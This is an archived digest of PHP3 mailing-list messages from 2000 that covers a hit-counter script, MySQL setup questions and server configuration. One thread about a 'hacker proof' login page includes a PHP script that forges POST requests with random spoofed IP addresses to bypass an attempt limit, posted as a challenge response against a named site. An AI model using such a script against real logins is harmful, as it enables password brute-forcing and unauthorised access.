ImageLine($im,0,17,$i*$len/$m,17,$limegreen); ImageLine($im,0,18,$n*$len/$m,18,$blue); ImageLine($im,0,19,$n*$len/$m,19,$blue); ImageLine($im,0,20,$o*$len/$m,20,$red); ImageLine($im,0,21,$o*$len/$m,21,$red); ImageGif($im); ImageDestroy($im); } else { ErrorGif( "Usage: <img src=\"http://$HTTP_HOST$REQUEST_URI\">"); }

?>

Here are the TABLES and the rest of the instructions:

/* Copyrihgt Korlyakov A. 1999 v.0.99

It is the simple counter with registration of visitings and users agent - Internet Explorer(green),Netscape(blue) and Other(Red). INSTALL: 1. Create the necessary tables. See below. 2. Create in MySql user counter,pass counter with access to these tables. 3. Save code in file count.php3 4. Add string <img src="http://your.host/count.php3"> where you want to put the counter.

Note 1 array $exception contains ip-addresses from which visiting do not count. Note 2 If you have one page with different names like Id URL 4 http://www.some.com/ 12 http://www.some.com/index.html Choose Id from the table counter and change them in the table eq. WAS: Id Id1 4 4 12 12 make: update eq set Id=4 where Id1=12; Became:Id Id1 4 4 4 12 ==== CREATE TABLE ======== Make this command in mysql create database count; use count; create table agents ( Id SMALLINT UNSIGNED NOT NULL AUTO_INCREMENT, agent VARCHAR(255) NOT NULL, type ENUM("IE","Netscape","Other"), counts INT NOT NULL DEFAULT 0, last TIMESTAMP, open TIMESTAMP, KEY (Id), INDEX (agent(64)), UNIQUE (agent) ); create table counters ( Id SMALLINT UNSIGNED NOT NULL AUTO_INCREMENT, URL VARCHAR(255) NOT NULL, counts INT UNSIGNED NOT NULL DEFAULT 0, IE INT UNSIGNED NOT NULL DEFAULT 0, Netscape INT UNSIGNED NOT NULL DEFAULT 0, Other INT UNSIGNED NOT NULL DEFAULT 0, last TIMESTAMP, open TIMESTAMP, KEY (Id), INDEX (URL(64)), UNIQUE (URL) ); create table eq ( id SMALLINT, id1 SMALLINT );

attached mail follows:


I am using the following to search for words in a text/blob MySQL data type.

$query = "SELECT * FROM $userstable WHERE $input like '$test%' order by category";

When I try and search for a single word that I know is is in the database I get no results. If I put in the first three or four words in a sentence I seem to get results.

Is there a better way to search thru text/blob data types? I want to match a single word or like words within a paragraph stored in a text or blob data type in MySQL using PHP3.

attached mail follows:


Hi,

I cant use the command mysql_connect() to access mysql through PHP. The given error from the webpage is as follows

Fatal error: Call to unsupported or undefined function mysql_pconnect() in /usr/home/theoikoses/theoikoses.com/htdocs/aiyoyo/register.php3 on line 24

So what should I do?

Rgds

-------------------------------------------------------------- The Oikoses [Your Web Resources]

10, Anson Road #18-18, International Plaza, Singapore 079903

Fax: (65) 565-5320 http://www.theoikoses.com -------------------------------------------------------------- ----- Original Message ----- From: "alex" <alexquad.com.ar> To: <php3lists.php.net> Sent: Sunday, February 06, 2000 10:29 PM Subject: Re: [PHP3] IMAP support

> > I ran the ./configure script with the '--with-imap' option, but when I > run > > <?phpinfo()?> IMAP does not show as available or configured into the PHP > > module. I am triing to set-up a web mail system and I am having trouble. I > > am triing to set IMP from Horde. > > > > Have I missed something? > > did ./configure give out any errors about not finding c-client.h mail.h or > any other related msg? > what php version are you using? > > > -- > PHP 3 Mailing List <http://www.php.net/> > To unsubscribe, send an empty message to php3-unsubscribelists.php.net > To subscribe to the digest, e-mail: php3-digest-subscribelists.php.net > To search the mailing list archive, go to: http://www.php.net/mailsearch.php3 > To contact the list administrators, e-mail: php-list-adminlists.php.net >

attached mail follows:


> -----Original Message----- > From: David Loke [mailto:dihueitheoikoses.com] > Sent: 05 February 2000 15:04 > To: php3lists.php.net > Subject: [PHP3] Connecting MySQL using command mysql_connect() > > > Hi, > > I cant use the command mysql_connect() to access mysql through PHP. The > given error from the webpage is as follows > > Fatal error: Call to unsupported or undefined function mysql_pconnect() in > /usr/home/theoikoses/theoikoses.com/htdocs/aiyoyo/register.php3 on line 24

It sounds like your binary was compliled without mysql support, in win32 I would say alter the php.ini file and uncomment the line

extension=php3_mysql.dll

so as its a unix system alter the php3.ini file so the following line

;extension=php3_mysql.so

becomes

extension=php3_mysql.so

this should sort out your problem

--
James Moore
http://www.prospect-enterprises.co.uk
> So what should I do?
>
> Rgds
>
> --------------------------------------------------------------
> The Oikoses
> [Your Web Resources]
>
> 10, Anson Road #18-18, International Plaza,
> Singapore 079903
>
> Fax: (65) 565-5320
> http://www.theoikoses.com
> --------------------------------------------------------------
> ----- Original Message -----
> From: "alex" <alexquad.com.ar>
> To: <php3lists.php.net>
> Sent: Sunday, February 06, 2000 10:29 PM
> Subject: Re: [PHP3] IMAP support
>
>
> > > I ran the ./configure script with the '--with-imap'  option,
> but when I
> > run
> > > <?phpinfo()?> IMAP does not show as available or configured
> into the PHP
> > > module. I am triing to set-up a web mail system and I am
> having trouble.
> I
> > > am triing to set IMP from Horde.
> > >
> > > Have I missed something?
> >
> > did ./configure give out any errors about not finding
> c-client.h mail.h or
> > any other related msg?
> > what php version are you using?
> >
> >
> > --
> > PHP 3 Mailing List <http://www.php.net/>
> > To unsubscribe, send an empty message to php3-unsubscribelists.php.net
> > To subscribe to the digest, e-mail: php3-digest-subscribelists.php.net
> > To search the mailing list archive, go to:
> http://www.php.net/mailsearch.php3
> > To contact the list administrators, e-mail: php-list-adminlists.php.net
> >
>
>
> --
> PHP 3 Mailing List <http://www.php.net/>
> To unsubscribe, send an empty message to php3-unsubscribelists.php.net
> To subscribe to the digest, e-mail: php3-digest-subscribelists.php.net
> To search the mailing list archive, go to:
http://www.php.net/mailsearch.php3
To contact the list administrators, e-mail: php-list-adminlists.php.net

attached mail follows:


Sorry if this is lame, but I'm new to PHP and hadn't noticed anything directly in the manual. Basically, is there a convention to call another language (since this is running on the server), and pass and return variables? I noticed that you can do direct socket connections, and ODBC.

thanks, shawn

attached mail follows:


You're in luck. This is pretty easy.

In your C:\WINDOWS (or equivalent directory), there's a file called hosts.sam . First, open it up in your favorite text editor: you'll notice a line that looks like

127.0.0.1 localhost

All you need to do is add a few lines with the names that you want to assign. Use the same IP for all of them.

127.0.0.1 myspecialsite 127.0.0.1 fruitflavor

Then crack open your httpd.conf file and go to town.

<VirtualHost 127.0.0.1> ServerName fruitflavor

etc...

Of course, this isn't going to help anyone who isn't seated in front of your computer. For that, you'll need an always-on connection and an entry in your domain's DNS table.

Sam Leibowitz (sleibowitzbtcwcu.org) System Administrator Business Technology Center http://www.btcwcu.org

> -----Original Message----- > From: Phillip Buzzard [mailto:artsphphotmail.com] > Sent: Saturday, February 05, 2000 3:30 PM > To: php3lists.php.net > Subject: pre pubescent newbie > > > I want to set up Apache mysql and php on my Windoze 98 home pc. This is > right out of the box so nothing has been done to modify it, yet. ;-) > > I have Apache running but I don't know what to do to it so I can > connect to > it as something other than http://localhost in my browser. Do I need to > change something in the httpd.conf file or is this a TCP-IP setting I need > to make. if so What do i need to do to make it work. I looked for > an Apache > mailing list or news group but couldn't find one to ask. > > Thanks > > Art >

attached mail follows:


Hi Matt,

Open your /etc/inetd.conf file remove the comments in front of the line which mention POP3 (line 50 on my default install RH6.1)

(re)start inetd

hop over to the PHPLib Site - down load phpop install and get going.

Worked for me :-)

HTH

Tarique

======================================= Creating not just Web Sites but Web Applications http://www.sanisoft-india.com

Search Engine for Nagpur http://nagpurcity.net =======================================

-----Original Message----- From: Matthew Clark <mattgenicomsystems.co.uk> To: php3 <php3lists.php.net> Date: Sunday, February 06, 2000 5:32 AM Subject: [PHP3] POP3

>Hey - does anyone know a decent POP3 server for Linux? I need to get some >(simple) web based mail going with PHP4 but have never looked into actually >setting up POP for Linux.. > >Could someone point me in the right direction?? > >Regards, > >Matthew Clark. > > >-- >PHP 3 Mailing List <http://www.php.net/> >To unsubscribe, send an empty message to php3-unsubscribelists.php.net >To subscribe to the digest, e-mail: php3-digest-subscribelists.php.net >To search the mailing list archive, go to: http://www.php.net/mailsearch.php3 >To contact the list administrators, e-mail: php-list-adminlists.php.net >

attached mail follows:


Can I have static member variables in php?

Cheers, =Josh

--
G-funk

Just wakin' up in tha morning gotta thank god, I dunno but today seems kinda high.

attached mail follows:


Message-ID: <002f01bf70bc$945627a0$839b89d0moderngigabyte.com> From: "Michael Fountain" <mfnetdoor.com> To: <php3lists.php.net> Cc: "Morten Blinksbjerg Nielsen" <mortenblinksbjerg.dk> Date: Sun, 6 Feb 2000 10:09:42 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Subject: Hacker Proof Password (Revisions)

Morten,

Even though you can assign an IP with ?REMOTE_ADDR7.0.0.1, this will only work for the splash page (This IP is not entered into the database once you submit your first attempt). If you access the splash page again with a different ?REMOTE_ADDR7.0.0.2 and so on..., the same is true. Your real IP is what will be counted and you will still only get 3 attempts at the script.

Try it: Click each link and hit Submit, watch the results left count... http://www.modernhost.com/1/?REMOTE_ADDR\187.0.0.1 http://www.modernhost.com/1/?REMOTE_ADDR\187.0.0.2 http://www.modernhost.com/1/?REMOTE_ADDR\187.0.0.3 http://www.modernhost.com/1/?REMOTE_ADDR\187.0.0.4 http://www.modernhost.com/1/?REMOTE_ADDR\187.0.0.5

Michael Fountain ModernGigabyte.com 'Internet Support Specialists'

mfountainmoderngigabyte.com ----- Original Message ----- From: "Morten Blinksbjerg Nielsen" <mortenblinksbjerg.dk> To: <mfnetdoor.com> Sent: Sunday, February 06, 2000 3:05 AM Subject: Re: [PHP3] Fw: Hacker Proof Password Protection (Revisions)

> Please try again: http://www.modernhost.com/1/index.php3 (The database > has been cleared) > > You can change the IP using this address: > > http://www.modernhost.com/1/?REMOTE_ADDR\187.0.0.1 > > > -- > Morten Blinksbjerg Nielsen > http://www.mbn.dk/ >

attached mail follows:


MF>> Try it: Click each link and hit Submit, watch the results left count... MF>> http://www.modernhost.com/1/?REMOTE_ADDR=127.0.0.1 MF>> http://www.modernhost.com/1/?REMOTE_ADDR=127.0.0.2 MF>> http://www.modernhost.com/1/?REMOTE_ADDR=127.0.0.3 MF>> http://www.modernhost.com/1/?REMOTE_ADDR=127.0.0.4 MF>> http://www.modernhost.com/1/?REMOTE_ADDR=127.0.0.5

What about proxies? Do I get 3 attempt for every proxy I can find? And if I use something like Zero Knowledge, when next request may well come from entirely different IP, and so every time?

-- 
Stanislav Malyshev   staszend.com          
+972-3-6139665

attached mail follows:


Hi

Just been submitting multiple password attempts on your site.

I didn't even try adding changing your form to a GET submit and adding the REMOTE_ADDR field to this, as I figure you'd have thought to weed out GET requests?

Anyway -- just rolled my own POST request that fools your script into thinking I'm from a random IP address -- quick and dirty code below --

Presumably a hacker could now try multple user/pass combinations by automating the connections and parsing your scripts response.

Cheers

Matt

<? srand( time() ); $pass = "whatever"; $name = "whatever"; $flagvalue = urlencode("Login (Attempt 1)");

$address = (rand()%255).".".(rand()%255).".".(rand()%255).".".(rand()%255);

print "Logging on as $address with name:$name pass:$pass<HR>";

$fp = fsockopen( "www.modernhost.com", 80 ); $text = "POST /1/index.php3 HTTP/1.0\r\n"; $text .= "Content-Type: application/x-www-form-urlencoded\r\n"; $bottom = "REMOTE_ADDR=$address&username=$name&password=$pass&submit2=$flagvalue\r\n"; $text .= "Content-length: ".strlen( $bottom )."\r\n\r\n$bottom\r\n";

print "<PRE>$text</PRE><HR>";

fputs( $fp, $text ); fpassthru( $fp ); ?>

Morten,

Even though you can assign an IP with ?REMOTE_ADDR=127.0.0.1, this will only work for the splash page (This IP is not entered into the database once you submit your first attempt). If you access the splash page again with a different ?REMOTE_ADDR=127.0.0.2 and so on..., the same is true. Your real IP is what will be counted and you will still only get 3 attempts at the script.

Try it: Click each link and hit Submit, watch the results left count... http://www.modernhost.com/1/?REMOTE_ADDR=127.0.0.1 http://www.modernhost.com/1/?REMOTE_ADDR=127.0.0.2 http://www.modernhost.com/1/?REMOTE_ADDR=127.0.0.3 http://www.modernhost.com/1/?REMOTE_ADDR=127.0.0.4 http://www.modernhost.com/1/?REMOTE_ADDR=127.0.0.5

Michael Fountain ModernGigabyte.com 'Internet Support Specialists'

mfountainmoderngigabyte.com ----- Original Message ----- From: "Morten Blinksbjerg Nielsen" <mortenblinksbjerg.dk> To: <mfnetdoor.com> Sent: Sunday, February 06, 2000 3:05 AM Subject: Re: [PHP3] Fw: Hacker Proof Password Protection (Revisions)

> Please try again: http://www.modernhost.com/1/index.php3 (The database > has been cleared) > > You can change the IP using this address: > > http://www.modernhost.com/1/?REMOTE_ADDR=127.0.0.1 > > > -- > Morten Blinksbjerg Nielsen > http://www.mbn.dk/ >

attached mail follows:


Hi,

I have an auto_increment called "id" - when I enter in a row in PHPAdmin it works fine, assigning a new number to that row. However, the code I have used to display the table in a PHP page is disturbed: it displays the column with the lowest ID Number at the top, and the highgest at the bottom - what it isn't doing is displaying WITH the other columns in the table.

In the table I have "news-date" and "news" along with ID - I'm using the following code:

<? $date_row = mysql_fetch_object($news_result);

while ($id_row = mysql_fetch_object($id_result) and $news_row = mysql_fetch_object($short_result) )

{ echo ("<TR BGCOLOR='#cccccc'> <TD><font face='Arial, Helvetica, sans-serif' size='1' color='#3333FF'>$date_row->news_date<br>"); echo ("<font face='Arial, Helvetica, sans-serif' size='1' color='#000000'>$news_row->news ...<a href='2.phtml?id=$id_row->id'><b>cont</b></a></TD>");

echo ("</TR>"); } ?>

It looks fine - but the logic is wrong. Instead of displaying that news items' ID (stored in the same row!), it displays it in ascending order.

Any tips?

Thanks.

W.Luke ------------ Web Developer also selling Domain Names CreativeNames.co.uk and Free Advertising LocalAds.Net ------------ will at LocalAds dot Net

attached mail follows:


I read in the docs about a function called ImageFontWidth. How can I exactly use this function in order to determine the width of a string in 10pt Arial which should be displayed in a browser?

attached mail follows:


Message-ID: <389DB1ED.E4AE8FB3mayle.com> Date: Sun, 06 Feb 2000 12:39:57 -0500 From: Neil Mayle <neilyobaby.com> MIME-Version: 1.0 To: php3lists.php.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: pre-loading php code

The system that I am working on has a large amount of php code in "libraries". It is now taking quite a long time to load this code (using require) on every page. I have attempted to only load what is needed, and this helps but generally php loading/parsing of code does not seem to be very fast (roughly 2k characters / millisecond of a fast PIII).

Is there a way to pre-load php include/require files once into the server thread, so they are available for every page request, but only have to be processed once per fork?

There are other web development environments (e.g. metahtml) that offer this capability.

- Neil

attached mail follows:


Hello PHPer's,

It's been a while since I've posted but I've got to make a major decision very soon and I am soliciting your opinions and more importantly, your experiences.

First some background. I have run my own one-man Web app/Visual Basic development shop for about four years and have grown tired of all the paperwork hassles { read tax here } when running a business. A large company in the midwest has offered me the position of Webmaster for their entire enterprise, Internet, extranet and intranet. Of course I'm going to accept it.

This is a large company with 116 locations in 25 States and many thousands of employees. Their business is primarily supplying industry with parts and supplies. The current Web presence is very poor at best and I have been charged with raising Web based sales to 25% of the company revenue within 3 years. Wether or not that is a reasonable goal is quite another issue however.

Since I'll have a practically endless budget with which to work this magic, I must review which technology is robust enough and stable enough to be relied upon. Remember, your answers should be based on an enterprise level basis. Not on a small business level.

Have any of you had any experience with Windows Server2000 yet? Is it STABLE? Is server clustering a hassle or not to bad? How about NT Server 4.0 and IIS? Is this platform stable enough for our use?

The data currently resides in a hierarchical database in Unisys mainframes. They are moving to a Unisys RDMS (relational database) soon. When that has been completed, all legacy data will be available through ODBC and standard SQL.

There needs to be a database on the server to handle data that we don't want to store in the mainframes. Resumes, training requests and so on. If I choose a Windows solution, it will be SQL Server of course. This solution would allow the SQL engine to talk to the RDMS on the mainframe through ODBC in which case I could write the site data access methods in ASP.

I have more experience in Unix and PHP3/MySQL than I do in Windows solutions with the exception of SQL Server and Visual Basic. Is Unix a robust enough solution for an enterprise level project? Is MySQL robust enough for the other data requirements? And the question I have the most serious doubts about; Is PHP robust enough to handle the data access scripting for enterprise level use? Or will it break when several thousand users are trying to access their accounts simultaneously? In other words, is PHP ready for the big time????

If I choose the Unix/Apache/PHP/MySQL method, can PHP connect to the Unisys RDMS through the ODBC driver????? Can the Apache web server be clustered???? Will PHP run on clustered servers???? Will any of these solutions effect the load balancing of servers?

What are your experiences and opinions? Respectfully, Steven Killick

************************************************* S T U D I O Q d e v e l o p m e n t *************************************************